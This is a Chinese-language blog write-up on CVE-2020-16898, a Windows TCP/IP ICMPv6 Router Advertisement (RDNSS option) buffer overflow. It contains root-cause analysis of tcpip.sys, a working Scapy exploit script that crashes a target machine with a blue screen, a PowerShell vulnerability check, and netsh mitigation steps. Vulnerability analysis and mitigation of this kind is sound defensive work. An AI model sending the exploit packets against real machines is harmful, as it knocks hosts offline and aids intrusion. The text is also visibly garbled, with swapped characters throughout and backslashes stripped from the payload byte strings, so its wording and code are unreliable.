Windows TCP/IP远程代码执行漏洞EXP&POC CVE-2020-16898

破绽引见

Windows TCP/IP堆栈不正确地处置ICMPv6 Router Advertisement数据包时,存在一个远程执行代码破绽。胜利应用此破绽的攻击者能够取得在目的效劳器或客户端上执行代码的才能。要应用此破绽,攻击者必需将经过特殊设计的ICMPv6 Router Advertisement数据包发送到远程Windows计算机上。
 


 

破绽描绘

当 Windows TCP/IP 堆栈不正确地处置运用 Option Type 25(Recursive DNS Server Option)和长度字段值为偶数的 ICMPv6路由器广告包时,存在远程代码执行破绽。在此选项中,长度以8字节的增量计算,因而长度为3的 RDNSS 选项的总长度应该为24字节。该选项自身包含五个字段: IPv6递归 DNS 效劳器的类型、长度、保存、生存期和地址。前四个字段总共是8字节,但是最后一个字段能够包含不同数量的 IPv6地址,每个地址16字节。因而,依据 RFC 8106,长度字段应该一直是一个至少为3的奇数值
 


 

影响版本

indows 10 Version 1709 for 32-bit Systems
Windows 10 Version 1709 for ARM64-based Systems
Windows 10 Version 1709 for x64-based Systems
Windows 10 Version 1803 for 32-bit Systems
Windows 10 Version 1803 for ARM64-based Systems
Windows 10 Version 1803 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for x64-based Systems
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
 


 

环境复现

环境搭建

靶机:Windows 10 1809 x64
靶机操作:无需任何操作,可正常与攻击机通讯即可

网络环境开启ipv6支持。这里运用vmware,NAT出一个子网,并开启ipv6支持。

图片[1]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

选取一个受影响版本的windows10镜像,装置在虚拟机里。

图片[2]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

翻开IPv6地址。

图片[3]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区
 

应用思绪

1.应用条件

1.根本条件
attacker需求获取target的IPv6和MAC地址
2.触发过程
attacker需求搭配其他内存走漏或信息走漏破绽来完成RCE
attacker需求想方法绕过tcpip.sys的GS维护机制

2. 应用过程

attacker直接发送特制的ICMPv6路由播送数据包给target:

[ Attacker ] <``-``-``-``-``-``-``-``-``-``-``-``-``-``-``-``-``> [ Target ]

3. 攻击向量

树立衔接后,应用IPv6直接发送攻击数据包即可。
 


 

破绽剖析

1. 根本信息

破绽文件:tcpip.sys
破绽函数: Ipv6pUpdateRDNSS()函数
破绽对象:ICMPv6路由播送中的option构造
 

2. 背景学问

(限于篇幅问题,此处不对用于DNS配置的IPv6路由播送停止细致引见,更细致材料可参考RFC8106)
 

1. 根本学问

IPv6 Router Advertisment (RA) options,也称为DNS RA options,允许IPv6的路由器向IPv6的主机播送DNS Recursive Server Address(DNS递归路由器地址)列表和DNS Search List(DNS搜索列表),其主要用处为在IPv6的主机上停止DNS称号解析以及域后缀的处置。

 
IPv6 Neighbor Discovery(ND,IPv6邻居发现)和IPv6 Stateless Address Autoconfiguratioin(SLAAC,IPv6无状态地址自动配置)提供了运用一个或多个IPv6地址,默许路由器以及一些其他参数配置固定节点或挪动节点的办法。

 
当遨游主机每次衔接到另一个网络时,无法停止手动配置。 固然能够停止静态配置,但是在诸如笔记本电脑之类的通用主机上通常不倡议这样操作。 例如,假如主机运转直接衔接到全局DNS的本人的递归称号效劳器,那么本地定义的称号空间对主机来说就不可用了。
访问DNS是简直一切主机的根本请求,因而IPv6 SLAAC在没有任何DNS配置支持的状况下,不能在任何实践的网络环境中单独作为替代部署模型。

 
关于IPv4环境中的DNS效劳器来说,这些问题都很容易处理。但是关于IPv6的网络环境,这些问题显得比拟棘手。因而,RFC8106定义了一种基于DNS RA选项的机制,以允许IPv6主机执行自动DNS配置。

 
在经过IPv6 SLAAC自动配置IPv6主机地址并且没有DHCPv6根底构造或一些主机没有DHCPv6客户端的网络环境中,能够运用基于RA的DNS配置作为替代。 但是,关于需求分发其他信息的网络,可能依然会运用DHCPv6。 在这些网络中,可能不需求基于RA的DNS配置。 基于RA的DNS配置允许IPv6主机获取主机衔接到的链接的DNS配置(即DNS递归效劳器地址和DNSSL)。 此外,主时机从提供链接配置信息的同一RA音讯中学习此DNS配置。
 

2. 名词解释

Recursive DNS Server (RDNSS):递归DNS效劳器,提供递归DNS解析效劳的效劳器,用于将域名转换为IP地址或解析成RFC1034和RFC1035中定义的PTR记载。
RDNSS Option:一个用于向IPv6主机传送RDNSS信息的IPv6的RA option【RFC4861】。
DNS Search List (DNSSL):Pv6主机在执行DNS查询搜索时运用的DNS后缀域名列表,用于搜索简短的不合格域名。
DNSSL Option:一个IPv6 RA选项,用于将DNSSL信息传送到IPv6主机。
 

3. 细致剖析

1. 根底剖析

RFC8106规范化了RDNSS option,其中包含RDNSSes的地址。该信息运用现有ND message(例如RA)作为载体。IPv6主机能够经过RA音讯配置一个或多个RDNSS的IPv6地址。
 

1. 邻居发现扩展

RFC8106中定义的在邻居发现中运用的IPv6 DNS配置算法需求用到2种ND options:RDNSS option和DNSSL option。与该破绽相关的是RDNSS option,另外一种则与 CVE-2020-16899相关。
 

2. RDNSS Option Structure

RDNSS option总体构造如下:

图片[4]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区
关于Length字段,假如该选项中仅包含一个IPv6地址,则最小值为3。 每增加一个RDNSS地址,长度就会增加2。接纳的主机运用该字段来肯定选项中IPv6地址的数量。
 

3. Procedure in IPv6 Hosts

当主机接纳到RA音讯中的DNS的options时,其处置过程如下:

首先检查Lengh字段的合法性:能否大于等于最小值3,以及能否满足(Length – 1) % 2 == 0;
关于RDNSS option,还会检查Address字段能否为一个单播地址;
假如以上考证经过,则主机应按次第将选项的值复制到DNS存储库和解析器存储库中。 否则,主机必需丢弃这些选项。
 

4. Crash剖析

首先剖析dmp文件,查看crash现场:

图片[5]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

图片[6]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

图片[7]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

并没有发现明显的较为有价值的Call Stack信息,但是发现最终的crash缘由的是GS机制的Security Cookie校验失败,也就是说该值被掩盖掉了。那么很有可能是一个溢出。除此之外,只发现了tcpip!Ipv6pHandleRouterAdvertisement+0x1269函数,再往后就直接报gsfailure了。
 

5.静态剖析

剖析运用的文件为Windows 10 1809 x64的tcpip.sys文件,版本为10.0.17763.316。
 

1. 函数调用链

依据crash现场信息,获取到关键函数tcpip!Ipv6pHandleRouterAdvertisement(),首先确认该函数到破绽函数的前后调用链。

首先查看其穿插援用关系:

图片[8]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

其上层调用函数为Icmpv6ReceiveDatagrams(),跟进,并查看穿插援用关系:

图片[9]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

没有再发现显式的函数调用。转而向tcpip!Ipv6pHandleRouterAdvertisement()的下层搜索:

图片[10]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

发现破绽函数调用。至此,函数调用链能够简单概括为:

 

Icmpv6ReceiveDatagrams() -> tcpip!Ipv6pHandleRouterAdvertisement() -> Ipv6pUpdateRDNSS()

 

2. 破绽函数剖析

经过简单剖析能够明白,调用链的顶层函数Icmpv6ReceiveDatagrams()没有发理想质性的与该破绽相关的处置代码,而在tcpip!Ipv6pHandleRouterAdvertisement() 函数中发现了对破绽函数Ipv6pUpdateRDNSS()的调用。依据crash剖析,最后报了gsfailure,而且关键函数为tcpip!Ipv6pHandleRouterAdvertisement(),在该函数的起始位置的确发现了GS校验:

图片[11]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

那么很有可能是发作了溢出,招致函数tcpip!Ipv6pHandleRouterAdvertisement()的GS校验失败。

进入破绽函数Ipv6pUpdateRDNSS():

图片[12]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

NdisGetDataBuffer()函数声明如下:

PVOID NdisGetDataBuffer(
  PNET_BUFFER NetBuffer,    // [in], a pointer to a NetBuffer structure
  ULONG       BytesNeeded,    // [in], the number of contiguous bytes of data requested
  PVOID       Storage,        // [in, optional], a pointer to a buffer, or NULL if no buffer is provided by the caller
  UINT        AlignMultiple, // [in], the alignment multiple expressed in power of two. For example, 2, 4, 8, 16, and so forth. If AlignMultiple is 1, then there is no alignment requirement.
  UINT        AlignOffset     // [in], the offset, in bytes, from the alignment multiple.
);
 
// Return Value
A pointer to the start of the contiguous data or NULL.

假如NetBuffer参数指向的NET_BUFFER构造中的NET_BUFFER_DATA局部的DataLength字段的值小于BytesNeeded参数的值,那么函数返回NULL。NET_BUFFER的构造如下:

typedef struct _NET_BUFFER {
  union {
    struct {
      PNET_BUFFER Next;
      PMDL        CurrentMdl;
      ULONG       CurrentMdlOffset;
      union {
        ULONG  DataLength;
        SIZE_T stDataLength;
      };
      PMDL        MdlChain;
      ULONG       DataOffset;
    };
    SLIST_HEADER      Link;
    NET_BUFFER_HEADER NetBufferHeader;
  };
  USHORT                ChecksumBias;
  USHORT                Reserved;
  NDIS_HANDLE           NdisPoolHandle;
  PVOID                 NdisReserved[2];
  PVOID                 ProtocolReserved[6];
  PVOID                 MiniportReserved[4];
  NDIS_PHYSICAL_ADDRESS DataPhysicalAddress;
  union {
    PNET_BUFFER_SHARED_MEMORY SharedMemoryInfo;
    PSCATTER_GATHER_LIST      ScatterGatherList;
  };
} NET_BUFFER, *PNET_BUFFER;

首先获取到RDNSS option构造,然后读取Length字段来计算Address字段有几个Address值。

图片[13]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

确认有几Address之后,进入循环,对每个Address停止处置。这里还有一个判别,假如不是单播地址,直接疏忽:
图片[14]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

在上面的处置过程中,存在一个问题:假定Length的长度为4,那么计算完毕之后,AddressCount的值应该为1。此时,依照正常逻辑,Ipv6pUpdateRDNSS()函数应该增加32字节(4*8)的缓冲区,但是后续在分配缓冲区时只分配了24字节:sizeof(ND_OPTION_RDNSS) + sizeof(IN6_ADDR) = 8 + 16 = 24,从而招致了溢出。

 
依据RFC8106的规范,Length字段的值应该满足最小为3的奇数的状况。当提供一个偶数Length值时,Windows TCP/IP堆栈错误地将buffer行进了8个字节。这主要是由于堆栈在内部以16字节为增量停止计数,并且没有运用非RFC兼容长度值的处置代码。这种不匹配招致堆栈将当前选项的最后8个字节解释为第二个选项的开端,最终招致缓冲区溢出和潜在的RCE。
 

3. 动态剖析

首先在pv6pHandleRouterAdvertisement()函数中第一次调用NdisGetDataBuffer()函数 从 _NET_BUFFER构造中访问数据(连续或不连续),运用 _NET_BUFFER 构造中的CurrentMdlOffset 字段定位要访问数据起始地址相关于 MDL 指向内存数据的偏移 :

图片[15]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

第2次调用NdisGetDataBuffer()函数获取RDNSS Option:

图片[16]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

来到Ipv6pUpdateRDNSS()函数调用途,此时rdx中寄存的是_NET_BUFFER:

图片[17]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

首先运用NdisGetDataBuffer()函数读取到Option构造:

图片[18]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

然后调用NetioAdvanceNetBuffer()函数,执行完成后_NET_BUFFER的局部数据如下:

图片[19]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

继续向下,开端计算AddressCount,运用的公式为(Length – 1) / 2:

图片[20]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

图片[21]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

最终的计算结果为1。
接下来判别LifeTime字段能否设置为最大值0xffffffff:

图片[22]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

继续向下,由于AddressCount = 1,所以来到再一次调用NdisGetDataBuffer处:

图片[23]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

此时的参数状况如下:

图片[24]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

之前是读取了8字节数据,而这次是读取了16字节,此时返回的是寄存第1个Recursive DNS Server值的地址:

图片[25]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

然后对地址停止判别0xffffe40b85d8afb8中的内容能否为单播地址:

图片[26]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

继续向下,来到Ipv6pCreateRDNSSEntry()函数调用途,其各参数状况如下:

图片[27]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

先后调用ExAllocatePoolWithTag()和memset()停止内存分配并初始化:

图片[28]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

再经过局部处置,最后的结果如下:

图片[29]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

后续在停止security cookie的校验时,校验经过,函数返回:

图片[30]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

回到Ipv6pHandleRouterAdvertisement()函数,再次停止数据读取时,偏移变为0x28,指向第2个Recursive DNS Server:

图片[31]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

此次的处置流程依照Type为0x18停止处置。Type为0x18时的处置逻辑如下:

图片[32]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

直接调用NdisGetDataBuffer()函数,由于数据不连续并且指定了Storage参数(r8)为栈上的地址,所以会向栈上copy大量数据,从而毁坏正常栈数据:

图片[33]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

上图中的循环调用memcpy()函数向栈上copy数据,形成栈毁坏,最终栈上结果如下:

图片[34]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

图片[35]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

最终 Ipv6pHandleRouterAdvertisement() 函数返回时,cookie 检查不经过,形成crash。
 

4.流量剖析

由于该破绽直接走的IPv6,所以关于一些部署在IP层以上的防火墙计划就无法针对该破绽停止流量检测,但是具备IP层流量检测的防火墙能够轻松检测歹意流量:

图片[36]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

在流量中能够明显看出,第一个Option构造的Address字段错误辨认计算了一个Recursive DNS Server的值:

图片[37]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

第1个Recursive DNS Server的地址为0018-0027,后续的8个字节不应该再停止辨认。选中第2个Recursive DNS Server时状况如下:

图片[38]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

第2个Recursive DNS Server的地址为0028-0037。但是该16个字节中的后8个字节很明显为下一个ICMPv6 Option构造的内容:

图片[39]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区
 


复现

exp-1

  1. 执行ipconfig,查看IPv6地址:

图片[40]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

2.留意:受害机器的 IPv6地址选取“ipv6地址”或者“暂时ipv6地址”

3.攻击者和目的主机通讯

执行ipconfig查看攻击机的ipv6地址,选择“本地链接的ipv6地址”。

图片[41]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

4.攻击机中python为3.7+ ,并且装置了scapy

5.破绽应用

这段payload作用是结构特定ipv6数据包,发送给受害者机器,让受害机器蓝屏。

CVE-2020-16898-exp1.py:

from scapy.all import *
from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6
 
v6_dst = "fd15:4ba5:5a2b:1008:109f:9a46:8d19:f103" #依据上面的修正为目的机的ipv6地址 或者 暂时ipv6地址
v6_src = "fe80::501a:49b7:b7d:5362%12"                   #攻击者的本地ipv6地址
 
p_test_half = 'A'.encode()*8 + b"x18x30" + b"xFFx18"
p_test = p_test_half + 'A'.encode()*4
 
c = ICMPv6NDOptEFA()
 
e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]
aaa = ICMPv6NDOptRDNSS()
aaa.len = 8
pkt = ICMPv6ND_RA() / aaa /
      Raw(load='A'.encode()*16*2 + p_test_half + b"x18xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e
 
p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/
              IPv6ExtHdrFragment()/pkt
 
l=fragment6(p_test_frag, 200)
 
for p in l:
    send(p)

执行:

python3 CVE-2020-16898-exp1.py

执行这个脚本,能够看到虚拟机被打蓝屏了。如下:

图片[42]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

能够wirkshark选择对应的虚拟网卡停止抓包查看

大约如下(我的wirkshark有点问题,套用大佬的截图):

图片[43]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

目测红框下的Router Advertisement是最中心的包

图片[44]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区
 

exp-2

条件:能和目的通讯,晓得目的的本地链接IPv6地址

运用

修正代码中的dst参数为目的的本地链接IPv6地址
然后攻击机执行
python3 CVE-2020-16898-exp2.py即可

图片[45]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区
图片[46]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区
 

POC检测

在github上找了个powershell脚本,能够检测windows10能否存在这个破绽,大致看了下是基于版本和配置检测的,用powershell获取配置,假如开启了 基于RA的DNS配置(RFC6106),并且win10发行版本大于1707,就存在这个破绽。

Clear
$interfaces = (Get-NetIPInterface | where {$_.AddressFamily -eq "IPv6"}).ifIndex
foreach ($interface in $interfaces)
{
    [bool]$vuln = $false
    $output = netsh int ipv6 sh interfaces interface=$interface
    foreach ($Line in $output)
    {
        if($Line.Contains("6106") -and $Line.Contains("enabled"))
        {
            [bool]$vuln = $true
        }
    }
    $NetIPInterfaceAlias = ((Get-NetIPAddress -InterfaceIndex $interface | Select-Object InterfaceAlias)[0]).InterfaceAlias
    if ($vuln)
    {
        Write-Host "Interface '$($interface)' named '$($NetIPInterfaceAlias)' is Vulnerable to CVE-2020-16898 & CVE-2020-16899" -ForegroundColor Red
    }
    else
    {
        Write-Host "Interface '$($interface)' named '$($NetIPInterfaceAlias)' is Not Vulnerable to CVE-2020-16898 & CVE-2020-16899" -ForegroundColor Green
    }
}

执行:

> Powershell.exe -ExecutionPolicy UnRestricted -File .CVE-2020-16898-poc.ps1

图片[47]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区
 


处理计划

微软官方针对该破绽已发布平安更新补丁,补丁地址:
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898
 

缓解措施

管理员启动powershell或cmd,输入以下命令检查一切网络IPv6接口的列表以及相应的索引号:

netsh int ipv6 sh int

样例输出如下:
图片[48]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

确认网络接口的RDNSS功用开启状况:

netsh int ipv6 sh int Idx number

图片[49]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

执行以下命令关闭RDNSS功用(将Idx number交换为要关闭的网络接口的Idx值):

netsh int ipv6 set int Idx number rabaseddnsconfig=disable

样例输出如下:
图片[50]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

此时再次确认接口的RDNSS开启状况,RDNSS功用已被关闭:

图片[51]-Windows TCP/IP远程代码执行漏洞EXP&POC  CVE-2020-16898-孤勇者社区

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞11赞赏 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片